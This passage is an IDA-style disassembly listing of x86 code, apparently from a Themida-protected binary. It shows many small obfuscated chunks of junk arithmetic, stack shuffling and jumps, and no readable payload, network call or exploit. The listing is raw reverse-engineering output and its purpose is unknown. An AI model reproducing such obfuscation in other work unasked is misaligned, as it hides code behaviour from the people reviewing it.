eax, 9D3C9F44h sub edi, 42591528h jmp loc_561A85 ; --------------------------------------------------------------------------- loc_55E25E: ; CODE XREF: sub_562ABA+A048j mov dl, cl pop ecx sub al, dl mov dx, [esp+0] jmp loc_561150 ; --------------------------------------------------------------------------- loc_55E26C: ; CODE XREF: sub_562ABA+1EBDj mov [esp+0], esi mov esi, 532402E3h push eax mov eax, 73DA6BEFh jmp loc_56AEC5 ; --------------------------------------------------------------------------- loc_55E27F: ; CODE XREF: sub_562ABA+EF48j mov [esp+2+var_4+2], eax mov eax, 5B6A3D8Ah sub eax, 337AFD6Eh sub edx, 6D9839B7h add edx, eax jmp loc_572B37 ; --------------------------------------------------------------------------- loc_55E299: ; CODE XREF: sub_562ABA+CA7Cj mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp+2+var_4+2] pop esp pop ebx jmp loc_55E09F ; --------------------------------------------------------------------------- loc_55E2AE: ; CODE XREF: sub_562ABA+7849j mov [esp-6+arg_0+2], ecx push [esp-6+arg_4+2] push dword ptr [esp+0] push [esp+2+var_4+2] pop ecx add esp, 4 jmp loc_570963 ; --------------------------------------------------------------------------- loc_55E2C7: ; CODE XREF: sub_562ABA-410Fj sub ebp, 1D665808h jmp loc_560C38 ; --------------------------------------------------------------------------- loc_55E2D2: ; CODE XREF: sub_562ABA+7C0Cj mov edx, [esp+0] add esp, 4 mov ecx, [esp-6+arg_0+2] push ebx jmp loc_56A747 ; --------------------------------------------------------------------------- loc_55E2E1: ; CODE XREF: sub_562ABA-BFEj mov esp, [esp+0] pop dword ptr [esp+0] mov esp, [esp-6+arg_0+2] sub byte ptr [esp-6+arg_0+2], al pushf jmp loc_55E09F ; --------------------------------------------------------------------------- loc_55E2F3: ; CODE XREF: sub_562ABA+CAF4j mov ebp, [esp+0] add esp, 4 pop [esp-6+arg_0+2] mov esp, [esp-0Ah+arg_4+2] mov cx, word ptr [esp-0Ah+arg_4+2] sub esp, 4 mov [esp-6+arg_0+2], ebp mov ebp, esp jmp loc_5716CC ; --------------------------------------------------------------------------- loc_55E316: ; CODE XREF: sub_562ABA+DDAFj pop esp add esi, 4 push edi mov edi, 2 jmp loc_560C78 ; --------------------------------------------------------------------------- loc_55E328: ; CODE XREF: sub_562ABA-37C8j mov ecx, 680A06FEh sub ebp, ecx pop ecx jmp loc_56063D ; --------------------------------------------------------------------------- loc_55E335: ; CODE XREF: sub_562ABA+BAD9j add dword ptr [edx+30h], 576C5C41h push [esp-0Ah+arg_4+2] pop ecx jmp loc_56997A ; --------------------------------------------------------------------------- loc_55E345: ; CODE XREF: sub_562ABA+2AB4j push ecx mov ecx, 2EA633FFh jmp loc_565BC6 ; --------------------------------------------------------------------------- loc_55E350: ; CODE XREF: sub_562ABA-20E9j xor eax, 673865EFh xor eax, ebp pop ebp push edi mov edi, 24522D7Eh sub ebx, edi pop edi add ebx, eax add ebx, 24522D7Eh pop eax push ebp push edx mov edx, 4 mov ebp, edx pop edx sub ebx, 206846E2h add ebx, ebp add ebx, 206846E2h pop ebp xchg ebx, [esp-0Eh+arg_8+2] pop esp push ecx mov ecx, esp add ecx, 4 jmp loc_56C9D3 ; --------------------------------------------------------------------------- loc_55E395: ; CODE XREF: sub_562ABA+DA55j push cx jmp loc_56DD26 ; --------------------------------------------------------------------------- loc_55E39C: ; CODE XREF: sub_562ABA+D3j push edi push ecx jmp loc_56C796 ; --------------------------------------------------------------------------- loc_55E3A3: ; CODE XREF: sub_562ABA+5869j xor esi, 2B8B06B4h inc esi jmp loc_56E645 ; --------------------------------------------------------------------------- loc_55E3AF: ; CODE XREF: sub_562ABA+5DA0j pop ecx add eax, esi push [esp-8+arg_4] mov esi, [esp-4+arg_0] add esp, 4 add esp, 4 add eax, 79E34012h add eax, edx push ebx mov ebx, 4E374A3Ch jmp loc_55F543 ; --------------------------------------------------------------------------- loc_55E3D3: ; CODE XREF: sub_562ABA+C954j add ebx, 1C528EDDh sub eax, ebx jmp loc_5698B5 ; --------------------------------------------------------------------------- loc_55E3E0: ; CODE XREF: sub_562ABA+EC69j add [esp-8+arg_8], ecx sub [esp-8+arg_8], 7A174273h pop ecx pop edx push 0D0Ah mov [esp-0Ch+arg_8], eax push ecx mov ecx, 3E892F68h mov eax, 0D67DF256h jmp loc_56036F ; --------------------------------------------------------------------------- loc_55E406: ; CODE XREF: sub_562ABA+14FBj push 714Fh mov [esp-4+arg_0], ebx sub [esp-4+arg_0], 0FFFFFFFFh pop ebx sub ebx, 6B3516A8h sub ebx, 0B6E0263Fh jmp loc_57029E ; --------------------------------------------------------------------------- loc_55E427: ; CODE XREF: sub_562ABA-16DAj pop esp mov [esp-0Ch+arg_8], ecx push edx mov edx, 745D60B0h push edx mov edx, 70C86596h mov ecx, 994C97EDh sub ecx, edx jmp loc_56585A ; --------------------------------------------------------------------------- loc_55E443: ; CODE XREF: sub_562ABA+B36Cj mov word ptr [esp-4+arg_0], ax jmp sub_55F392 ; --------------------------------------------------------------------------- loc_55E44C: ; CODE XREF: sub_562ABA+CABCj push [esp-4+arg_4] pop edi pop [esp-4+arg_0] jmp loc_56312C ; --------------------------------------------------------------------------- loc_55E459: ; CODE XREF: sub_562ABA-493Dj mov edi, 4 add [esp+0Ah+var_8+2], edi pop edi mov esi, [esp+6+var_8+2] push ebp mov ebp, esp add ebp, 4 push esi mov esi, 54AB70CEh or esi, 6436378h not esi jmp loc_55F692 ; --------------------------------------------------------------------------- loc_55E482: ; CODE XREF: sub_562ABA+C555j not ecx push eax sub esp, 4 mov [esp+16h+var_16], ecx push [esp+16h+var_16] pop eax sub esp, 4 mov [esp+1Ah+var_1A], ebx push 2223h mov [esp+1Eh+var_1E], esp add [esp+1Eh+var_1E], 4 pop ebx add ebx, 4 add ebx, 4 jmp loc_56BA0F ; --------------------------------------------------------------------------- loc_55E4B6: ; CODE XREF: sub_562ABA-21Cj push eax push [esp+1Eh+var_1A] mov eax, [esp+22h+var_22] jmp loc_560A01 ; --------------------------------------------------------------------------- loc_55E4C3: ; CODE XREF: sub_562ABA+E110j add [esp+22h+var_1E], edi sub [esp+22h+var_1E], 61842231h jmp loc_55E941 ; END OF FUNCTION CHUNK FOR sub_562ABA ; =============== S U B R O U T I N E ======================================= sub_55E4D4 proc near ; CODE XREF: sub_562ABA-3F0Bj var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0055F3BD SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0056210A SIZE 0000000D BYTES push ebp mov ebp, 30A158DEh shr ebp, 4 jmp loc_56210A sub_55E4D4 endp ; --------------------------------------------------------------------------- mov cx, [esp] push edx push esp mov edx, [esp] jmp loc_56B01F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_562ABA loc_55E4F0: ; CODE XREF: sub_562ABA+C70j add esp, 4 add esp, 4 xchg eax, [esp+1Ah+var_1A] pop esp jmp loc_55FE03 ; END OF FUNCTION CHUNK FOR sub_562ABA ; =============== S U B R O U T I N E ======================================= sub_55E502 proc near ; CODE XREF: sub_562ABA+3BA9j ; FUNCTION CHUNK AT 0055E9CE SIZE 00000011 BYTES push ebx mov ebx, 4A420A84h jmp loc_55E9CE sub_55E502 endp ; =============== S U B R O U T I N E ======================================= sub_55E50D proc near ; CODE XREF: sub_562ABA+3B15j push ebx jmp loc_567B48 sub_55E50D endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_562ABA loc_55E513: ; CODE XREF: sub_562ABA+522Dj add ebx, edi push ecx mov ecx, 0 add ecx, ebx mov [ecx], dh jmp loc_564F7C ; --------------------------------------------------------------------------- loc_55E524: ; CODE XREF: sub_562ABA+4B3Dj push 7A0Bh mov [esp+1Eh+var_1E], ecx jmp loc_56BFF1 ; --------------------------------------------------------------------------- loc_55E531: ; CODE XREF: sub_562ABA+F4AEj add ebp, 4 sub esp, 4 mov [esp+22h+var_22], edi mov edi, 4FF37C13h push 7C91h mov [esp+26h+var_28+2], ecx push esi push 6B1D70DDh mov esi, [esp] jmp loc_568C5A ; --------------------------------------------------------------------------- loc_55E55B: ; CODE XREF: sub_562ABA+415Cj push ecx mov ecx, 283E4E72h push ebp jmp loc_564557 ; --------------------------------------------------------------------------- loc_55E567: ; CODE XREF: sub_561D56+13j ; sub_562ABA+B441j push 74B7h mov [esp+3Ah+var_3A], ebx mov eax, [esp+3Ah+var_3A] push edi jmp loc_567C60 ; --------------------------------------------------------------------------- loc_55E578: ; CODE XREF: sub_562ABA+32FBj add esi, eax sub esi, 2B1B094Ah mov eax, [esp+3Eh+var_3E] add esp, 4 xchg esi, [esp+3Ah+var_3A] jmp loc_56CF7C ; --------------------------------------------------------------------------- loc_55E591: ; CODE XREF: sub_562ABA+1A42j xchg esi, [esp+3Ah+var_3A] jmp loc_56BBC5 ; --------------------------------------------------------------------------- loc_55E599: ; CODE XREF: sub_562ABA+41j pop esp jmp loc_562755 ; END OF FUNCTION CHUNK FOR sub_562ABA ; --------------------------------------------------------------------------- mov cx, [esp] push 3FE2h mov [esp], edi push esi push 5D8Bh mov [esp], esp add dword ptr [esp], 4 pop esi push ebx jmp loc_56BA40 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_562ABA loc_55E5C2: ; CODE XREF: sub_562ABA-3EC4j add eax, 73D19E1h push ebx push 13E4h mov [esp+3Eh+var_3E], esi mov esi, 32521C99h dec esi sub esi, 0D7C4C38Fh mov ebx, esi jmp loc_563C96 ; --------------------------------------------------------------------------- loc_55E5E3: ; CODE XREF: sub_562ABA+51A1j push [esp+3Eh+var_3E] mov ebx, [esp+42h+var_42] push esi mov esi, esp add esi, 4 jmp loc_566D02 ; END OF FUNCTION CHUNK FOR sub_562ABA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55FCA5 loc_55E5F7: ; CODE XREF: sub_55FCA5+3F2j sub edx, esi pop esi add ebx, edx pop edx push ebx push esp pop ebx add ebx, 4 sub ebx, 4 xchg ebx, [esp+4+var_4] pop esp mov [esp+0], ebp mov ebp, 4 jmp loc_563E24 ; END OF FUNCTION CHUNK FOR sub_55FCA5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_562ABA loc_55E61A: ; CODE XREF: sub_562ABA+810Ej push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp+4Ah+var_4A] jmp loc_5678F8 ; --------------------------------------------------------------------------- loc_55E62E: ; CODE XREF: sub_562ABA+6B71j mov eax, 3BA5592Bh jmp loc_572529 ; --------------------------------------------------------------------------- loc_55E638: ; CODE XREF: sub_562ABA+8E36j add eax, 4 jmp loc_56BB54 ; --------------------------------------------------------------------------- loc_55E642: ; CODE XREF: sub_562ABA-4435j pop eax add edx, 53354D56h jmp loc_564D3F ; --------------------------------------------------------------------------- loc_55E64E: ; CODE XREF: sub_562ABA+5B77j and edx, 2525438h xchg edi, edx neg edi jmp loc_56075D ; --------------------------------------------------------------------------- loc_55E65D: ; CODE XREF: sub_562ABA+253Dj mov ebx, 2C351235h jmp loc_572919 ; --------------------------------------------------------------------------- loc_55E667: ; CODE XREF: sub_562ABA+2CEj popa retn ; END OF FUNCTION CHUNK FOR sub_562ABA ; --------------------------------------------------------------------------- loc_55E669: ; DATA XREF: Themida_:0055DDBCo push eax push 2528462Bh pop eax push ecx jmp loc_56A3BC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_562ABA loc_55E676: ; CODE XREF: sub_562ABA+45CDj xor ebp, edi pop edi jmp loc_56F232 ; --------------------------------------------------------------------------- loc_55E67E: ; CODE XREF: sub_562ABA+667j mov eax, 34925880h xor edx, eax jmp loc_55E642 ; --------------------------------------------------------------------------- loc_55E68A: ; CODE XREF: sub_562ABA+FD7Fj pop esi add esp, 4 sub esi, 43934574h jmp loc_5685BD ; --------------------------------------------------------------------------- loc_55E699: ; CODE XREF: sub_562ABA+7FBEj sub ecx, 7E120F24h jmp loc_56A8D7 ; --------------------------------------------------------------------------- loc_55E6A4: ; CODE XREF: sub_562ABA-1A69j add ecx, 2 jmp loc_5633E8 ; --------------------------------------------------------------------------- loc_55E6AC: ; CODE XREF: sub_562ABA+D487j add ecx, 64F57E56h jmp loc_56A3ED ; --------------------------------------------------------------------------- loc_55E6B7: ; CODE XREF: sub_562ABA+C730j add ebx, eax pop eax push ebp push esi push edx jmp loc_56C5E2 ; --------------------------------------------------------------------------- loc_55E6C2: ; CODE XREF: sub_562ABA+3BF5j mov [esp+22h+var_22], ecx mov ecx, 46DE596Ch sub ecx, 46DE5968h sub ebx, 3F790B41h sub ebx, 19B62AC7h add ebx, ecx jmp loc_567224 ; --------------------------------------------------------------------------- loc_55E6E3: ; CODE XREF: sub_562ABA+DEE7j sub ebp, eax jmp loc_560982 ; --------------------------------------------------------------------------- loc_55E6EA: ; CODE XREF: sub_562ABA+2277j add esp, 4 push eax mov eax, esp jmp loc_562A13 ; --------------------------------------------------------------------------- loc_55E6F8: ; CODE XREF: sub_562ABA+E568j add [esp+22h+var_22], 4 jmp loc_56FB67 ; --------------------------------------------------------------------------- loc_55E704: ; CODE XREF: sub_562ABA+1F6Dj add esp, 4 add eax, ebx pop ebx xchg eax, [esp+1Ah+var_1A] pop esp mov ax, word ptr [esp+16h+var_16] push ecx push 7E5Bh mov [esp+1Eh+var_1E], esp add [esp+1Eh+var_1E], 4 mov ecx, [esp+1Eh+var_1E] jmp loc_5661D1 ; END OF FUNCTION CHUNK FOR sub_562ABA ; =============== S U B R O U T I N E ======================================= sub_55E72D proc near ; CODE XREF: sub_562ABA+DCD7j push ebp mov ebp, 3CE74F04h push eax mov eax, ebp mov esi, eax jmp loc_563CC1 sub_55E72D endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_562ABA loc_55E73D: ; CODE XREF: sub_562ABA+B715j push eax not [esp+22h+var_22] jmp loc_562E9F ; --------------------------------------------------------------------------- loc_55E746: ; CODE XREF: sub_562ABA-1D42j add [esp+22h+var_22], 4 jmp loc_568229 ; --------------------------------------------------------------------------- loc_55E74F: ; CODE XREF: sub_562ABA+EB0Bj sub eax, 0DCCD48EBh jmp loc_56954E ; --------------------------------------------------------------------------- loc_55E759: ; CODE XREF: sub_562ABA+F74Fj add ecx, 4 push ebx mov ebx, 39661CC5h push ebp push ebx mov ebx, 70EF433Dh inc ebx add ebx, 361A2F3Dh neg ebx add ebx, 45CC44E9h xor ebx, 0BF7CB1B8h push 416h mov [esp+32h+var_32], ebx add [esp+32h+var_32], 24E504CCh pop ebp sub ebp, 24E504CCh pop ebx sub ebx, ebp mov ebp, [esp+2Ah+var_2C+2] add esp, 4 push 7945h jmp loc_567CEC ; END OF FUNCTION CHUNK FOR sub_562ABA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55FCA5 loc_55E7AD: ; CODE XREF: sub_55FCA5+1574j push edi mov edi, 4A56728Eh inc edi jmp loc_569179 ; END OF FUNCTION CHUNK FOR sub_55FCA5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_562ABA loc_55E7B9: ; CODE XREF: sub_562ABA+B013j mov [esp+2Ah+var_2C+2], esi push [esp+2Ah+var_2C+2] pop edx add esp, 4 push [esp+26h+var_28+2] pop esi jmp loc_571266 ; --------------------------------------------------------------------------- loc_55E7CF: ; CODE XREF: sub_562ABA+3111j add edi, ecx pop ecx jmp loc_564F4B ; --------------------------------------------------------------------------- loc_55E7D7: ; CODE XREF: sub_562ABA+7A9Bj add esi, 0E076D2A3h add edi, esi jmp loc_56A3D9 ; --------------------------------------------------------------------------- loc_55E7E4: ; CODE XREF: sub_562ABA-1AC1j pop esi pop edi shr esi, 5 sub esi, 1 push ebp jmp loc_567B21 ; --------------------------------------------------------------------------- loc_55E7F5: ; CODE XREF: sub_562ABA-C0Cj add [esp+1Eh+var_1A], esi pop esi pop esi add esi, 4 sub esi, 4 jmp loc_56C55B ; --------------------------------------------------------------------------- loc_55E809: ; CODE XREF: sub_562ABA+6ECDj mov ebx, eax jmp loc_5678E1 ; --------------------------------------------------------------------------- loc_55E810: ; CODE XREF: sub_562ABA+5075j add esi, ebp jmp loc_56AE39 ; --------------------------------------------------------------------------- loc_55E817: ; CODE XREF: sub_562ABA+EFCCj push ecx mov ecx, 57007B02h jmp loc_56ECCA ; --------------------------------------------------------------------------- loc_55E822: ; CODE XREF: sub_562ABA+CA64j pop eax add eax, ebp pop ebp jmp loc_571051 ; --------------------------------------------------------------------------- loc_55E82B: ; CODE XREF: sub_562ABA-56Fj xor ecx, esi pop esi xor edx, ecx pop ecx push esi jmp loc_563FEA ; --------------------------------------------------------------------------- loc_55E837: ; CODE XREF: sub_562ABA+8758j pop ebp jmp loc_56FB2F ; --------------------------------------------------------------------------- loc_55E83D: ; CODE XREF: sub_562ABA+286Cj add ecx, 4 push esi mov esi, 4 sub ecx, 3BF701C2h add ecx, esi add ecx, 3BF701C2h pop esi jmp loc_5710EE ; END OF FUNCTION CHUNK FOR sub_562ABA ; =============== S U B R O U T I N E ======================================= sub_55E85D proc near ; CODE XREF: sub_562ABA-2E6j var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, 777A13A8h sub eax, ebp mov ebp, [esp+4+var_4] sub esp, 4 mov [esp+8+var_8], esi mov esi, esp add esi, 4 add esi, 4 jmp loc_56A40F sub_55E85D endp ; =============== S U B R O U T I N E ======================================= sub_55E87E proc near ; CODE XREF: sub_562ABA+15F0j push ebp mov ebp, 71A61C9Bh shr ebp, 7 inc ebp xor ebp, 299263B0h add edx, ebp jmp loc_5634D8 sub_55E87E endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_562ABA loc_55E895: ; CODE XREF: sub_562ABA+4CE2j and eax, ebx pop ebx sub eax, 493A6A13h or eax, 72B44E80h inc eax xor eax, 0FC058552h mov edi, eax pop eax jmp loc_57263C ; --------------------------------------------------------------------------- loc_55E8B0: ; CODE XREF: sub_562ABA-1A5Bj pop eax pop dword ptr [esp+0] jmp loc_564BCB ; --------------------------------------------------------------------------- loc_55E8B9: ; CODE XREF: sub_562ABA+C1AEj dec bh not bh push edx push 3CE8h mov [esp+2+var_4+2], ebx mov bl, 9Dh push cx mov ch, 0F7h jmp loc_56ED86 ; --------------------------------------------------------------------------- loc_55E8D1: ; CODE XREF: sub_562ABA-D91j sub al, bh pop ebx push 470Ch jmp loc_56B8B9 ; --------------------------------------------------------------------------- loc_55E8DE: ; CODE XREF: sub_562ABA+3819j inc ebx neg ebx push esi mov esi, 41D96EB1h jmp loc_561A63 ; --------------------------------------------------------------------------- loc_55E8EC: ; CODE XREF: sub_562ABA+35FAj neg esi or esi, 24AC15FAh and esi, 5929196Ch jmp loc_566AE4 ; --------------------------------------------------------------------------- loc_55E8FF: ; CODE XREF: sub_562ABA+4CEFj neg edx push esi mov esi, 3F185231h neg esi shl esi, 1 or esi, 13E2197Fh xor esi, 93EF5BFEh add edx, esi pop esi dec edx xor edx, 0A18DC472h push edx sub esp, 4 mov [esp+10h+var_12+2], ecx mov ecx, 0F5A1BCCh xor [esp+10h+var_C], ecx pop ecx pop esi xor esi, 0F5A1BCCh pop edx xchg eax, esi push edx jmp sub_55F660 ; --------------------------------------------------------------------------- loc_55E941: ; CODE XREF: sub_562ABA-45EBj pop edi pop ebp jmp loc_562E72 ; END OF FUNCTION CHUNK FOR sub_562ABA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5722B7 loc_55E948: ; CODE XREF: sub_5722B7+Fj mov edx, ebp pop ebp add ebp, edx jmp loc_5701F4 ; END OF FUNCTION CHUNK FOR sub_5722B7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_562ABA loc_55E952: ; CODE XREF: sub_562ABA+7FCAj xor ebp, [esp+1Ah+var_1A] mov esp, [esp+1Ah+var_1A] push dword ptr [eax] jmp loc_55E09F ; --------------------------------------------------------------------------- loc_55E95F: ; CODE XREF: sub_562ABA+9EDDj push esi jmp loc_562354 ; --------------------------------------------------------------------------- loc_55E965: ; CODE XREF: sub_562ABA+BD06j inc edi dec edi add edi, 0C302DFC9h jmp loc_565390 ; END OF FUNCTION CHUNK FOR sub_562ABA ; =============== S U B R O U T I N E ======================================= sub_55E972 proc near ; CODE XREF: sub_562ABA+D9F8j var_4 = dword ptr -4 sub esp, 4 mov [esp+4+var_4], ecx mov ecx, 4 add esi, ecx jmp loc_562C16 sub_55E972 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_562ABA loc_55E987: ; CODE XREF: sub_562ABA+1793j push 3775h jmp loc_562913 ; --------------------------------------------------------------------------- loc_55E991: ; CODE XREF: sub_562ABA+7A5Aj pop ecx pop [esp+22h+var_22] pop esp jmp loc_56DA1C ; --------------------------------------------------------------------------- loc_55E99B: ; CODE XREF: sub_562ABA+9D2Bj pop eax push ebp mov ebp, 62FD0328h push eax mov eax, 2E5D59A9h sub ebp, eax pop eax jmp loc_55E2C7 ; --------------------------------------------------------------------------- loc_55E9B0: ; CODE XREF: sub_562ABA-253Bj pop esp push eax push esp mov eax, [esp+1Eh+var_1E] add esp, 4 push ecx jmp loc_56612A ; --------------------------------------------------------------------------- loc_55E9BF: ; CODE XREF: sub_562ABA+C108j not ebx push edi mov edi, 3407B187h xor ebx, edi jmp loc_565CA5 ; END OF FUNCTION CHUNK FOR sub_562ABA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55E502 loc_55E9CE: ; CODE XREF: sub_55E502+6j shl ebx, 3 shr ebx, 6 add ebx, 1 jmp loc_567B3D ; END OF FUNCTION CHUNK FOR sub_55E502 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_562ABA loc_55E9DF: ; CODE XREF: sub_562ABA+73B9j pop edi add ebp, 4 xchg ebp, [esp+1Eh+var_1E] pop esp xor esi, [esp+1Ah+var_1A] xor [esp+1Ah+var_1A], esi jmp loc_56EBC7 ; --------------------------------------------------------------------------- loc_55E9F5: ; CODE XREF: sub_562ABA+8AEj add esi, 4 add esi, 4 xchg esi, [esp+1Ah+var_1A] pop esp push edx mov edx, 4 sub eax, edx pop edx jmp loc_56A34D ; --------------------------------------------------------------------------- loc_55EA13: ; CODE XREF: sub_562ABA-1683j mov [esp+16h+var_16], ebp jmp loc_567C92 ; --------------------------------------------------------------------------- loc_55EA1B: ; CODE XREF: sub_562ABA+C9C1j mov esp, [esp+16h+var_16] mov [esp+16h+var_16], ebx add [esp+16h+var_16], 41F54151h pop edx jmp loc_5706E6 ; --------------------------------------------------------------------------- loc_55EA2E: ; CODE XREF: sub_562ABA-1C22j add ebx, 38F318A0h sub esp, 4 mov [esp+16h+var_16], ebp push edx push 16C2419Bh jmp loc_56E717 ; --------------------------------------------------------------------------- loc_55EA48: ; CODE XREF: sub_562ABA+49C2j xor [esp+1Eh+var_1E], 71F23037h pop eax push esi jmp loc_563116 ; --------------------------------------------------------------------------- loc_55EA56: ; CODE XREF: sub_562ABA+F4A3j mov esp, [esp+1Eh+var_1E] jmp loc_5679E8 ; --------------------------------------------------------------------------- loc_55EA5E: ; CODE XREF: sub_562ABA-3893j push [esp+1Eh+var_1A] push [esp+22h+var_22] jmp loc_56FE4D ; --------------------------------------------------------------------------- loc_55EA6A: ; CODE XREF: sub_562ABA-E09j push dword ptr [edi+eax*4] push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp+0] jmp loc_564249 ; --------------------------------------------------------------------------- loc_55EA81: ; CODE XREF: sub_562ABA+880Cj sub ebx, edi mov edi, [esp+0] add esp, 4 and ebx, 3C9B0F88h and ebx, 73413378h push ebp mov ebp, 38681979h push edx mov edx, 0BFB04DFh neg edx dec edx inc edx and edx, 75602844h xor edx, 37516E41h add ebp, edx pop edx or ebx, ebp pop ebp add ebx, 0FFFFFFFFh jmp loc_566BF7 ; --------------------------------------------------------------------------- loc_55EAC2: ; CODE XREF: sub_562ABA+A471j xor ebx, 7FA22EF1h xor ebp, ebx pop ebx add ebp, 3387EAAh add ebp, 3F6EF94Fh add edi, ebp pop ebp xor edi, [esp+22h+var_22] xor [esp+22h+var_22], edi xor edi, [esp+22h+var_22] pop esp shr word ptr [esp+1Eh+var_1E], cl pushf jmp loc_55E09F ; --------------------------------------------------------------------------- loc_55EAEE: ; CODE XREF: sub_562ABA+4AD4j pop ecx push edx mov edx, 65963958h push esi push eax push 0B4049BBh pop eax or eax, 56C307B7h jmp loc_55F62A ; --------------------------------------------------------------------------- loc_55EB07: ; CODE XREF: sub_562ABA-2F3Fj add edi, ecx sub edi, 6E9E55B7h mov ecx, [esp+2Ah+var_2C+2] add esp, 4 push edi push esp mov edi, [esp+0] add esp, 4 add edi, 4 push eax mov eax, 332B5C46h dec eax shr eax, 5 or eax, 676C00E2h shr eax, 1 xor eax, 33FEAD75h sub edi, eax mov eax, [esp+0] add esp, 4 xchg edi, [esp+2Ah+var_2C+2] mov esp, [esp+2Ah+var_2C+2] mov [esp+2Ah+var_2C+2], ebp mov ebp, 286210BFh jmp loc_56E65E ; --------------------------------------------------------------------------- loc_55EB54: ; CODE XREF: sub_562ABA+7245j mov [esp+2Ah+var_2C+2], esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp+2Ah+var_2C+2] jmp loc_567BE7 ; --------------------------------------------------------------------------- loc_55EB6D: ; CODE XREF: sub_562ABA-47Dj mov ebx, 6978322Ah push ecx mov ecx, 16D9502Ch sub eax, ecx pop ecx add eax, ebx sub esp, 4 mov [esp+0], ebp mov ebp, 52C37951h jmp sub_55EE90 ; --------------------------------------------------------------------------- loc_55EB90: ; CODE XREF: sub_562ABA-39D4j add ebx, 5E092043h sub ebx, eax sub esp, 4 mov [esp+32h+var_32], esi mov esi, 4E6B220Fh shl esi, 5 or esi, 1D9D5D2Fh jmp sub_55E4D4 ; --------------------------------------------------------------------------- loc_55EBB4: ; CODE XREF: sub_562ABA+5425j sub edx, 1ED822ACh add edx, ebp push ebp mov ebp, 1ED822ACh add edx, ebp pop ebp jmp loc_56ACD5 ; --------------------------------------------------------------------------- loc_55EBCA: ; CODE XREF: sub_562ABA+947j add [esp+32h+var_32], 13D70B38h pop edi sub edi, 13D70B38h push dword ptr [esp+0] jmp loc_5716F0 ; --------------------------------------------------------------------------- loc_55EBE0: ; CODE XREF: sub_562ABA+8BF2j add esp, 4 mov ebx, [esp+0] add esp, 4 xor al, dl pop edx jmp sub_55F510 ; --------------------------------------------------------------------------- loc_55EBF4: ; CODE XREF: sub_562ABA+B4F4j add eax, edx jmp loc_55E5C2 ; --------------------------------------------------------------------------- loc_55EBFB: ; CODE XREF: sub_562ABA-3D0Aj not edx push 1E76h mov [esp+2Ah+var_2C+2], edx push 79D2h mov [esp+0], esi mov edx, [esp+0] jmp loc_56DAB6 ; --------------------------------------------------------------------------- loc_55EC15: ; CODE XREF: sub_562ABA+6397j inc eax jmp loc_563235 ; --------------------------------------------------------------------------- loc_55EC1B: ; CODE XREF: sub_562ABA+9DABj dec eax jmp loc_56BBDD ; --------------------------------------------------------------------------- loc_55EC21: ; CODE XREF: sub_562ABA+113Cj mov esp, [esp+0] mov [esp+0], eax push edx mov dh, 72h mov al, 41h xor al, dh pop edx mov cl, al pop eax mov bh, cl mov ecx, [esp+2Ah+var_2C+2] add esp, 4 jmp loc_56BBD1 ; --------------------------------------------------------------------------- loc_55EC3F: ; CODE XREF: sub_562ABA+B30Cj mov ebp, 57DC4532h or esi, ebp jmp loc_566A10 ; --------------------------------------------------------------------------- loc_55EC4B: ; CODE XREF: sub_562ABA+B12Ej sub edi, 281964E7h jmp loc_563DDA ; --------------------------------------------------------------------------- loc_55EC56: ; CODE XREF: sub_562ABA+49CDj mov ebp, ecx pop ecx inc ebp push edi mov edi, 8D92E622h jmp loc_5637DA ; --------------------------------------------------------------------------- loc_55EC65: ; CODE XREF: sub_562ABA+9625j xor al, 0F7h mov ch, al jmp loc_570D74 ; --------------------------------------------------------------------------- loc_55EC6E: ; CODE XREF: sub_562ABA+62E5j xor cl, dh jmp loc_568CE8 ; --------------------------------------------------------------------------- loc_55EC75: ; CODE XREF: sub_562ABA+3D6Ej push esi mov esi, 2 add edi, 60B04D3Ch add edi, esi sub edi, 60B04D3Ch mov esi, [esp+2Ah+var_2C+2] jmp sub_56217C ; --------------------------------------------------------------------------- loc_55EC91: ; CODE XREF: sub_562ABA+4947j push ecx jmp loc_563C1A ; --------------------------------------------------------------------------- loc_55EC97: ; CODE XREF: sub_562ABA-203j pop ebx sub byte ptr [esp+2Ah+var_28+2], ch pop ecx pop edx push ecx mov cl, 29h xor dl, cl pop ecx xor al, dl pop edx xor bl, al movzx eax, al jmp loc_568378 ; --------------------------------------------------------------------------- loc_55ECB1: ; CODE XREF: sub_562ABA-CAEj pop esp jmp loc_563F46 ; END OF FUNCTION CHUNK FOR sub_562ABA ; --------------------------------------------------------------------------- byte_55ECB7 db 89h ; CODE XREF: sub_562ABA+2ADEj ; --------------------------------------------------------------------------- and al, 24h push esi mov esi, 0F3A58AFh sub esi, 0F3A58ABh add [esp+4], esi pop esi pop ebx push 0EF8h mov [esp], ecx mov ecx, 4 add ebx, ecx jmp loc_55F312 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_562ABA loc_55ECE0: ; CODE XREF: sub_562ABA+BFD2j mov edi, [esp+1Ah+var_1A] jmp loc_56B104 ; --------------------------------------------------------------------------- loc_55ECE8: ; CODE XREF: sub_562ABA+F62Dj xor ecx, [esp+1Ah+var_1A] xor [esp+1Ah+var_1A], ecx xor ecx, [esp+1Ah+var_1A] mov esp, [esp+1Ah+var_1A] push dword ptr [edi+eax*4] push [esp+1Eh+var_1E] push [esp+22h+var_22] pop eax push edi mov edi, esp add 